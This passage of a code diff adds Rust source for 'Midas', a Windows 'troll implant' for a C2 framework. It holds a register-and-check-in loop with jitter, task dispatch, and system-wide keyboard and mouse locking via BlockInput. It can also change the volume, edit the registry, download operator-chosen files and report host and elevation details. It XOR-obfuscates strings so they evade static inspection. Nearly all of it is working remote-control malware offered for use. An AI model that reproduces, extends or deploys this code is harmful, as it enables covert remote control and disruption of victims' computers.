unsafe { SetCursorPos(origin.x, origin.y) };
}
}
/// Blocks keyboard and mouse input system-wide until released.
///
/// `BlockInput` only works from an elevated process and returns zero when it
/// does not, so the refusal is reported rather than leaving the operator
/// believing input is locked when it is not.
///
/// The `gen` argument is the generation the caller registered for. A timed hold
/// naturally releases when its deadline passes; a hold superseded by a newer one
/// (or ended by `stopall`, which calls `unblock_input`) observes that its
/// generation is no longer current and gives up *without* touching the flag -
/// the system-wide flag has exactly one owner at a time, and clearing it from a
/// superseded hold would unblock a newer holder's lock.
///
/// Returns whether the hold released the flag itself. `false` means the hold was
/// superseded or ended before it ever blocked.
pub fn hold_input(gen: u64, duration: Option<Duration>) -> Result<(), String> {
if unsafe { BlockInput(1) } == 0 {
return Err("BlockInput was refused; this needs an elevated implant".into());
}
// The caller owns the unblock decision: release only while still current, so
// an overtaken hold can never clear a newer one's block.
let release = || {
if crate::gui::current_input_gen() == gen {
unsafe { BlockInput(0) };
}
};
match duration.and_then(|d| Instant::now().checked_add(d)) {
// A real deadline. A duration too large for `Instant` falls through to
// the continuous branch rather than panicking on the add.
Some(deadline) => {
while Instant::now() < deadline {
if crate::gui::current_input_gen() != gen {
return Ok(());
}
std::thread::sleep(Duration::from_millis(100));
}
release();
}
// 0, or effectively continuous because the add overflowed.
None => loop {
if crate::gui::current_input_gen() != gen {
return Ok(());
}
std::thread::sleep(Duration::from_millis(100));
},
}
Ok(())
}
/// Ends any running input hold.
///
/// `BlockInput` is one system-wide flag with no handle to its owner, so the flag
/// is cleared directly. Harmless to call when nothing holds it; `stopall` does
/// exactly that on every call.
pub fn unblock_input() {
unsafe { BlockInput(0) };
}
// ---------------------------------------------------------------------------
// Sound and volume
// ---------------------------------------------------------------------------
pub fn play_sound(path: &str, looping: bool) -> Result<(), String> {
if !std::path::Path::new(path).exists() {
return Err(format!("{path} does not exist"));
}
let mut flags = SND_FILENAME | SND_ASYNC;
if looping {
flags |= SND_LOOP;
}
let ok = unsafe { PlaySoundW(wide(path).as_ptr(), std::ptr::null_mut(), flags) };
if ok == 0 {
Err("PlaySoundW failed; only uncompressed WAV is supported".into())
} else {
Ok(())
}
}
/// Stops playback started by `play_sound`.
pub fn stop_sound() {
unsafe { PlaySoundW(std::ptr::null(), std::ptr::null_mut(), 0) };
}
/// The volume in force before the last `mute`, so `unmute` can put it back.
///
/// `waveOutSetVolume` is a level-setting API with no separate mute flag, so
/// without this a mute followed by an unmute would have to invent a level and
/// quietly change the volume a second time.
static PRE_MUTE: std::sync::Mutex<Option<u32>> = std::sync::Mutex::new(None);
pub fn set_volume(action: &str, level: u32) -> Result<(), String> {
let level = level.min(100);
let value = match action {
"mute" => {
let mut previous = PRE_MUTE.lock().map_err(|_| "volume state is poisoned")?;
if previous.is_none() {
*previous = Some(current_volume());
}
0
}
"unmute" => PRE_MUTE
.lock()
.map_err(|_| "volume state is poisoned")?
.take()
.unwrap_or(50),
"max" => 100,
"min" => 0,
_ => level,
};
// waveOutSetVolume takes a packed 16-bit pair, so the scalar is duplicated
// across both channels. This is the default playback device only, which is
// the right scope for a prank.
let packed = (value << 16) | value;
let result = unsafe { waveOutSetVolume(WAVE_MAPPER, packed) };
if result != 0 {
Err(format!("waveOutSetVolume failed ({result})"))
} else {
Ok(())
}
}
fn current_volume() -> u32 {
let mut packed: u32 = 0;
// `MMSYSERR_INVALHANDLE` (5) is what the wave mapper returns for "no
// default playback device". Falling back to a level in that case means
// `unmute` on a silent machine still does something plausible.
// SAFETY: `packed` is a live, correctly aligned `u32` local.
if unsafe { waveOutGetVolume(WAVE_MAPPER, &mut packed) } != 0 {
return 50;
}
// The low half is the left channel. The louder of the two is restored, so an
// unbalanced pair is not silently flattened to its quieter side.
packed.min((packed >> 16) & 0xFFFF)
}
// ---------------------------------------------------------------------------
// Appearance
// ---------------------------------------------------------------------------
/// Scales the system UI text.
///
/// There is no `SystemParametersInfo` call for this: the persisted value is the
/// `LogPixels` entry under `HKCU\Control Panel\Desktop`, and Explorer only
/// picks it up after a `WM_SETTINGCHANGE` broadcast.
pub fn set_font_scale(percent: u32) -> Result<(), String> {
let key = wide("Control Panel\\Desktop");
let value = wide("LogPixels");
unsafe {
let mut hkey: HKEY = std::ptr::null_mut();
let status = RegOpenKeyExW(
HKEY_CURRENT_USER,
key.as_ptr(),
0,
KEY_SET_VALUE,
&mut hkey,
);
if status != ERROR_SUCCESS {
return Err(format!("RegOpenKeyExW failed ({status})"));
}
// 96 DPI is the 100% baseline every Windows theme is designed against.
let pixels = ((percent as f32 / 100.0) * 96.0).round().max(6.0) as u32;
let next = pixels.to_le_bytes();
let status = RegSetValueExW(
hkey,
value.as_ptr(),
0,
REG_DWORD,
next.as_ptr(),
next.len() as u32,
);
RegCloseKey(hkey);
if status != ERROR_SUCCESS {
return Err(format!("RegSetValueExW failed ({status})"));
}
// Explorer and every top-level window cache the metric, so without this
// broadcast the change only shows up on the next logon.
let broadcast = wide("WindowMetrics");
SendMessageTimeoutW(
HWND_BROADCAST,
WM_SETTINGCHANGE,
0,
broadcast.as_ptr() as usize,
SMTO_ABORTIFHUNG,
2000,
std::ptr::null_mut(),
);
Ok(())
}
}
// ---------------------------------------------------------------------------
// Misc
// ---------------------------------------------------------------------------
pub fn open_url(url: &str) -> Result<(), String> {
let handle = unsafe {
ShellExecuteW(
std::ptr::null_mut(),
wide("open").as_ptr(),
wide(url).as_ptr(),
std::ptr::null(),
std::ptr::null(),
SW_SHOWNORMAL,
)
};
// ShellExecuteW returns a value greater than 32 on success; below that it
// is an error code.
if (handle as isize) > 32 {
Ok(())
} else {
Err(format!("ShellExecuteW returned {}", handle as isize))
}
}
pub fn screen_size() -> Option<(u32, u32)> {
let width = unsafe { GetSystemMetrics(SM_CXSCREEN) };
let height = unsafe { GetSystemMetrics(SM_CYSCREEN) };
if width > 0 && height > 0 {
Some((width as u32, height as u32))
} else {
None
}
}

View File

@ -0,0 +1,65 @@
//! Host reporting.
//!
//! `sysinfo` exists so an operator can tell whether a target is worth sending a
//! prank at before sending one. On Windows the answer is nearly always yes: the
//! only things that can get in the way are a session with no interactive
//! desktop (a locked screen, or a service account), which the overlay count and
//! the screen size below make obvious.
use crate::gui;
use crate::obf;
/// The operating system, as reported at registration and here.
pub fn os_name() -> &'static str {
std::env::consts::OS
}
/// Whether a window can be created at all.
///
/// False only when the process is running without an interactive window station,
/// which is the one situation where every overlay command is guaranteed to fail
/// and it is worth saying so before one is sent.
pub fn gui_available() -> bool {
gui::win::has_window_station()
}
/// The body of the `sysinfo` command result.
pub fn report() -> String {
let mut lines = vec![
format!("implant: {}", crate::config::IMPLANT_ID),
format!("os: {}", os_name()),
format!("gui overlays: {}", if gui_available() { "available" } else { "unavailable" }),
];
match gui::win::screen_size() {
Some((w, h)) => lines.push(format!("screen: {w}x{h}")),
None => lines.push(obf!("screen: could not be determined").to_string()),
}
// Windows can report whether it is elevated, which is the difference
// between `lockinput` working and being refused.
lines.push(format!("elevated: {}", gui::win::is_elevated()));
// The overlay host is started lazily by the first visual command, so this
// is the one place an operator learns that it cannot start at all - a target
// with no usable OpenGL implementation, say - before sending a prank to a
// host that cannot show it.
lines.push(gui::host_status());
lines.push(gui::describe_overlays());
// A continuous `lockinput` is invisible otherwise, and the operator is the
// only one who can end it - worth saying it is on the line that is read
// before doing anything else.
if let Some(status) = gui::input_lock_status() {
lines.push(status);
}
// Anything that panicked. On a target nobody is sitting at, stderr is nowhere
// to look, so without this the only symptom of a dead overlay backend is a
// command that quietly did nothing.
for entry in crate::log::recent_panics() {
lines.push(format!("panic: {entry}"));
}
lines.join("\n")
}

View File

@ -0,0 +1,98 @@
//! Side effects that are not overlay windows: file retrieval, sound, URLs.
use std::io::Read;
use std::path::PathBuf;
/// Upper bound on a download. Large enough for a wallpaper or a jump-scare
/// video frame, small enough that a mistyped URL cannot fill the disk.
const MAX_DOWNLOAD: u64 = 32 * 1024 * 1024;
/// Downloads `url` into the implant's cache directory and returns the path.
///
/// Only the final path component of `filename` is honoured. Without that, a
/// name like `../../.config/autostart/evil` would write outside the cache -
/// this is the only place Midas turns operator input into a filesystem path.
pub fn fetch(url: &str, filename: &str) -> Result<String, String> {
if !url.starts_with("http://") && !url.starts_with("https://") {
return Err("URL must start with http:// or https://".into());
}
let safe_name = sanitise_name(filename)?;
let mut destination = cache_dir()?;
destination.push(&safe_name);
if let Some(parent) = destination.parent() {
std::fs::create_dir_all(parent)
.map_err(|e| format!("could not create {}: {e}", parent.display()))?;
}
let response = ureq::get(url)
.set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)")
.call()
.map_err(|e| format!("GET {url} failed: {e}"))?;
let mut body = Vec::new();
response
.into_reader()
.take(MAX_DOWNLOAD)
.read_to_end(&mut body)
.map_err(|e| format!("could not read the response body: {e}"))?;
if body.is_empty() {
return Err("the response was empty".into());
}
std::fs::write(&destination, &body)
.map_err(|e| format!("could not write {}: {e}", destination.display()))?;
Ok(destination.to_string_lossy().into_owned())
}
/// Strips any directory component from a caller-supplied name.
fn sanitise_name(filename: &str) -> Result<String, String> {
let base = filename
.rsplit(['/', '\\'])
.next()
.unwrap_or_default()
.trim();
if base.is_empty() {
return Err("filename is empty once directories are stripped".into());
}
if base == "." || base == ".." || base.contains('\0') {
return Err("filename is not a usable file name".into());
}
Ok(base.to_string())
}
fn cache_dir() -> Result<PathBuf, String> {
let base = std::env::temp_dir();
let dir = base.join("midas");
std::fs::create_dir_all(&dir).map_err(|e| format!("could not create {}: {e}", dir.display()))?;
Ok(dir)
}
/// Plays a sound with `PlaySoundW`.
///
/// The call is asynchronous, so a looping sound does not need a worker thread of
/// its own, and it is the only player this implant uses.
pub fn play_sound(path: &str, looping: bool) -> Result<(), String> {
crate::gui::win::play_sound(path, looping)
}
/// Opens a URL in the default browser. `background` is accepted for interface
/// symmetry with the command schema; `ShellExecuteW` with `SW_SHOWNORMAL`
/// returns as soon as the browser is launched, so the call never blocks.
pub fn open_url(url: &str, _background: bool) -> Result<(), String> {
if !url.starts_with("http://")
&& !url.starts_with("https://")
&& !url.starts_with("mailto:")
{
return Err("only http, https and mailto URLs are opened".into());
}
crate::gui::win::open_url(url)
}

108
implants/midas/src/log.rs Normal file
View File

@ -0,0 +1,108 @@
//! Opt-in logging, and capture of anything that panicked.
//!
//! Off unless `MIDAS_LOG` is set to something other than `0` or empty, so a
//! release build is silent on the operator's desktop by default. Diagnostics
//! from background threads go through here rather than `eprintln!` for that
//! reason - a prank that prints to a visible console is a prank that gives
//! itself away.
//!
//! Output goes to stderr, which on both target platforms is either invisible
//! (a GUI-subsystem build) or closed, so nothing lands in a visible window
//! unless the operator launched the implant from a terminal. That is the whole
//! reason panics are *also* kept in memory below: stderr is not a channel the
//! operator has access to on a target they are not sitting at, and a panic whose
//! only symptom is a command that quietly does nothing is not a diagnosis.
use std::sync::{Mutex, OnceLock};
/// How many panics are kept for `sysinfo` to report.
const RECENT_LIMIT: usize = 8;
static LOGGING: OnceLock<bool> = OnceLock::new();
pub fn enabled() -> bool {
*LOGGING.get_or_init(|| {
std::env::var("MIDAS_LOG")
.map(|v| !v.is_empty() && v != "0")
.unwrap_or(false)
})
}
pub fn log(message: &str) {
if enabled() {
eprintln!("[midas] {message}");
}
}
/// `log` for a message that is only assembled when logging is on.
///
/// Used on paths that would otherwise format a string nobody reads.
pub fn log_lazy(build: impl FnOnce() -> String) {
if enabled() {
eprintln!("[midas] {}", build());
}
}
// ---------------------------------------------------------------------------
// Panics
// ---------------------------------------------------------------------------
/// Recent panic messages, kept so `sysinfo` can report them.
static RECENT: OnceLock<Mutex<Vec<String>>> = OnceLock::new();
fn recent() -> &'static Mutex<Vec<String>> {
RECENT.get_or_init(|| Mutex::new(Vec::new()))
}
/// Reduces a panic message to the part worth acting on.
///
/// A default payload reads
/// `thread 'midas-gui' panicked at <file>:<line>:<col>:\n<message>`. The thread
/// name is Midas' own and identifies nothing, the message sits on a second line
/// where it is easy to lose, and the location is the part actually worth acting
/// on - so the boilerplate is dropped and the rest is flattened onto one line.
pub fn normalise_panic(message: &str) -> String {
let flattened = message.replace(['\n', '\r'], " ");
let collapsed = flattened.split_whitespace().collect::<Vec<_>>().join(" ");
match collapsed.split_once("panicked at ") {
Some((_, rest)) => rest.to_string(),
None => collapsed,
}
}
/// Replaces the default panic hook.
///
/// The default one is deliberately *not* chained to. It prints
/// `thread '<name>' panicked at ...`, and because the name is always one of ours
/// that line comes out identical for every distinct failure - it named nothing,
/// so it read as a repeat of a problem already reported rather than as new
/// information. It goes to stderr as well, which on a target the operator has no
/// terminal on is nowhere at all.
///
/// The normalised form replaces it, and the same text is kept so `sysinfo` can
/// report it back over the same channel the commands arrived on.
pub fn install_panic_hook() {
std::panic::set_hook(Box::new(|info| {
// `Display` on the hook info is the fully formatted message, location
// included, and is the supported way to read it.
let normalised = normalise_panic(&format!("{info}"));
log(&format!("panic: {normalised}"));
if let Ok(mut recent) = recent().lock() {
if recent.len() == RECENT_LIMIT {
recent.remove(0);
}
recent.push(normalised);
}
}));
}
/// The panics seen so far, newest last, for `sysinfo`.
pub fn recent_panics() -> Vec<String> {
recent()
.lock()
.map(|recent| recent.clone())
.unwrap_or_default()
}

154
implants/midas/src/main.rs Normal file
View File

@ -0,0 +1,154 @@
//! Midas - troll implant for the Altin C2.
//!
//! Two loops, mirroring `implants/tombili/src/main.nim`: register until the
//! server accepts, then check in forever.
//!
//! The one structural difference from Tombili is that `commands::dispatch`
//! always returns promptly. Visual commands hand off to the GUI thread in
//! `gui` or to a worker thread and acknowledge immediately, because the Web UI
//! stops waiting on a task after 90 seconds and a modal dialog or a 30-second
//! shake would otherwise be reported as a failure even though it worked.
// Windows only. The command surface is built on Win32 - moving another
// application's window, warping the pointer, `BlockInput`, `PlaySoundW` - and
// the X11 backend that used to cover Linux could not do most of it under
// Wayland, so a non-Windows build would compile into something that silently
// did nothing. Say so at build time instead.
//
// The modules are gated too. Without that, every one of them also fails to
// resolve and a cross-compile attempt produces a hundred errors that bury the
// one that explains itself.
#[cfg(not(windows))]
compile_error!(
"midas is a Windows-only implant; build with `--target x86_64-pc-windows-msvc` \
(or `-gnu`)"
);
#[cfg(windows)]
mod commands;
#[cfg(windows)]
mod comm;
#[cfg(windows)]
mod config;
#[cfg(windows)]
mod gdi;
#[cfg(windows)]
mod gui;
#[cfg(windows)]
mod info;
#[cfg(windows)]
mod jobs;
#[cfg(windows)]
mod log;
#[cfg(windows)]
mod obf;
#[cfg(windows)]
mod rng;
#[cfg(windows)]
mod sleep;
#[cfg(windows)]
use log::log;
#[cfg(windows)]
fn main() {
// Before anything else can panic. The default hook's output names only the
// thread - always one of Midas' own - so it reads the same for every distinct
// fault and says nothing; the replacement keeps the location and reports it
// back through `sysinfo`.
log::install_panic_hook();
sleep::init();
log(&format!(
"{} {} on {} (desktop: {}, elevated: {})",
config::IMPLANT_ID,
env!("CARGO_PKG_VERSION"),
info::os_name(),
info::gui_available(),
gui::win::is_elevated(),
));
register();
checkin_loop();
}
/// Blocks until the server has the agent's manifest, or the failure limit is hit.
///
/// The server answers `STATUS_CONTINUE` both for a fresh registration and for
/// an agent that is already registered, so either ends the loop.
#[cfg(windows)]
fn register() {
let limit = config::reg_fail_limit();
let mut failures: u32 = 0;
loop {
match comm::send_registration() {
Ok(comm::STATUS_CONTINUE) => {
log("registered");
return;
}
Ok(status) => log(&format!("registration returned status {status}")),
Err(e) => log(&format!("registration failed: {e}")),
}
failures += 1;
if limit > 0 && failures >= limit {
log("registration failure limit reached, giving up");
std::process::exit(0);
}
sleep::do_sleep();
}
}
#[cfg(windows)]
fn checkin_loop() {
loop {
match comm::checkin() {
Ok(comm::Checkin::Tasks(tasks)) => {
for task in tasks {
run_task(task);
}
}
Ok(comm::Checkin::NeedsRegistration) => {
// The agent row was deleted from the Web UI, or the server was
// restarted against a fresh database. Re-register rather than
// silently idling forever.
log("server asked for re-registration");
register();
}
Ok(comm::Checkin::Idle) => {}
Err(e) => log(&format!("check-in failed: {e}")),
}
sleep::do_sleep();
}
}
#[cfg(windows)]
fn run_task(task: serde_json::Value) {
let task_id = task
.get(obf!("task_id"))
.and_then(|v| v.as_str())
.unwrap_or_default()
.to_string();
let name = task
.get(obf!("task"))
.and_then(|v| v.as_str())
.unwrap_or("?")
.to_string();
log(&format!("task {task_id}: {name}"));
let result = commands::dispatch(&task);
log(&format!("task {task_id} -> {result}"));
if let Err(e) = comm::send_task_result(&task_id, &result) {
// The server re-delivers a task until it sees a result, so a lost one
// means the command runs again on the next check-in. Worth logging.
log(&format!("could not report result for {task_id}: {e}"));
}
}

67
implants/midas/src/obf.rs Normal file
View File

@ -0,0 +1,67 @@
//! Compile-time string obfuscation.
//!
//! The Rust equivalent of Tombili's `obf()` macro in `utils.nim`. A string
//! literal is XOR-encoded during const evaluation and decoded at the point of
//! use, so the plaintext never appears in the compiled binary.
//!
//! This is obfuscation, not encryption. It defeats a casual `strings` pass; it
//! does not survive anything that debugs the process.
include!(concat!(env!("OUT_DIR"), "/seed.rs"));
/// Upper bound on a single obfuscated literal.
pub const MAX_LEN: usize = 256;
/// XOR-encode `s` at compile time. `out` is zero-padded past `s.len()`; the
/// padding is never decoded because every call site passes the original length.
pub const fn encode_const(s: &[u8], seed: u32) -> [u8; MAX_LEN] {
let mut out = [0u8; MAX_LEN];
let mut k = seed | 1;
let mut i = 0;
while i < s.len() && i < MAX_LEN {
k = k.wrapping_add(1);
out[i] = s[i] ^ (k & 0xFF) as u8;
i += 1;
}
out
}
/// Encodes a string that is only known at compile time from *outside* the
/// source, such as a value baked in by `option_env!`.
///
/// `obf!` cannot cover those: it needs a literal written in the source, and
/// `option_env!` expands to a literal the build environment supplied, which the
/// compiler would otherwise embed verbatim. This takes the already-materialised
/// `&str` and returns `(length, bytes)` for `decode`.
pub const fn encode_static(s: &str) -> (usize, [u8; MAX_LEN]) {
(s.len(), encode_const(s.as_bytes(), SEED))
}
/// Decode the first `len` bytes of `encoded`.
pub fn decode(encoded: &[u8; MAX_LEN], len: usize, seed: u32) -> String {
let mut k = seed | 1;
let mut out = Vec::with_capacity(len);
for &b in encoded.iter().take(len) {
k = k.wrapping_add(1);
out.push(b ^ (k & 0xFF) as u8);
}
String::from_utf8_lossy(&out).into_owned()
}
/// Obfuscate a string literal.
///
/// Encoding happens in a `const` item, so the work is done by the compiler and
/// nothing is computed at startup. Takes a literal rather than an expression so
/// that `$s.as_bytes()` and `$s.len()` are both const-evaluable.
#[macro_export]
macro_rules! obf {
($s:literal) => {{
const ENCODED: [u8; $crate::obf::MAX_LEN] =
$crate::obf::encode_const($s.as_bytes(), $crate::obf::SEED);
$crate::obf::decode(&ENCODED, $s.len(), $crate::obf::SEED)
}};
}

42
implants/midas/src/rng.rs Normal file
View File

@ -0,0 +1,42 @@
//! Minimal xorshift for the animated overlays.
//!
//! Shared by both rendering backends so `static`, `glitch` and the matrix rain
//! look the same whichever one is drawing. Only cosmetic, so there is no reason
//! to reach for a dependency.
pub struct Rng(u64);
impl Rng {
pub fn new(seed: u64) -> Rng {
// A zero state is absorbing, so it is forced away from it.
Rng(seed | 1)
}
fn next(&mut self) -> u64 {
self.0 ^= self.0 << 13;
self.0 ^= self.0 >> 7;
self.0 ^= self.0 << 17;
self.0
}
/// Uniform in `[0, 1)`, from the top 24 bits.
pub fn f32(&mut self) -> f32 {
(self.next() >> 40) as f32 / 16_777_216.0
}
/// Uniform in `[low, high)` as a float.
pub fn range(&mut self, low: f32, high: f32) -> f32 {
low + self.f32() * (high - low)
}
/// Uniform in `[low, high)` as an integer.
///
/// The high bound is exclusive, which is what every caller here wants: a
/// rect of height `0` is not something to hand the rasteriser.
pub fn range_i32(&mut self, low: i32, high: i32) -> i32 {
if high <= low {
return low;
}
low + (self.next() % (high - low) as u64) as i32
}
}

107
implants/midas/src/sleep.rs Normal file
View File

@ -0,0 +1,107 @@
//! Check-in pacing.
//!
//! Tombili keeps this in module-level `var`s; Midas uses atomics so `setsleep`
//! can run on a worker thread while the check-in loop is sleeping.
use std::sync::atomic::{AtomicU64, Ordering};
use std::time::Duration;
use crate::config;
static SLEEP_SECS: AtomicU64 = AtomicU64::new(10);
static JITTER_SECS: AtomicU64 = AtomicU64::new(5);
pub fn init() {
SLEEP_SECS.store(config::checkin_sleep(), Ordering::Relaxed);
JITTER_SECS.store(config::checkin_jitter(), Ordering::Relaxed);
}
pub fn get() -> (u64, u64) {
(
SLEEP_SECS.load(Ordering::Relaxed),
JITTER_SECS.load(Ordering::Relaxed),
)
}
/// Returns an error instead of applying a nonsensical value, so the operator
/// gets the reason back in the task result.
pub fn set(sleep_secs: u64, jitter_secs: u64) -> Result<(), String> {
if sleep_secs == 0 {
return Err("sleep time must be greater than zero".into());
}
if jitter_secs > sleep_secs {
return Err("jitter cannot be greater than the sleep time".into());
}
SLEEP_SECS.store(sleep_secs, Ordering::Relaxed);
JITTER_SECS.store(jitter_secs, Ordering::Relaxed);
Ok(())
}
/// Sleeps for the configured interval plus uniform jitter.
///
/// A jitter of 0 must produce exactly the base interval. Using the full
/// `[-jitter, +jitter]` range would halve the effective sleep, which is
/// surprising when jitter is 0 and impossible when jitter equals the sleep.
pub fn do_sleep() {
let (sleep_secs, jitter_secs) = get();
let base_ms = sleep_secs.saturating_mul(1000) as i64;
let jitter_ms = jitter_secs.saturating_mul(1000) as i64;
let offset = if jitter_ms == 0 {
0
} else {
rand_range(-jitter_ms..=jitter_ms)
};
let total = (base_ms + offset).max(0) as u64;
crate::log::log_lazy(|| {
format!("sleeping {sleep_secs}s + {offset}ms jitter ({total}ms total)")
});
std::thread::sleep(Duration::from_millis(total));
}
/// Uniform value in `range` from a small xorshift64 generator.
///
/// Deliberately not seeded from a CSPRNG and not used for anything security
/// relevant - this only spreads check-in times so a fleet does not beat in
/// lockstep. Kept in-crate to avoid pulling in `rand` for one call.
fn rand_range(range: std::ops::RangeInclusive<i64>) -> i64 {
use std::cell::Cell;
use std::time::{SystemTime, UNIX_EPOCH};
thread_local! {
static STATE: Cell<u64> = const { Cell::new(0) };
}
let value = STATE.with(|state| {
let mut x = state.get();
if x == 0 {
let nanos = SystemTime::now()
.duration_since(UNIX_EPOCH)
.map(|d| d.as_nanos() as u64)
.unwrap_or(0x2545_F491_4F6C_DD1D);
x = nanos ^ (std::process::id() as u64).wrapping_mul(0x9E37_79B9_7F4A_7C15);
if x == 0 {
x = 0x2545_F491_4F6C_DD1D;
}
}
// xorshift64
x ^= x << 13;
x ^= x >> 7;
x ^= x << 17;
state.set(x);
x
});
let span = range.end() - range.start() + 1;
if span <= 0 {
return *range.start();
}
range.start() + (value % span as u64) as i64
}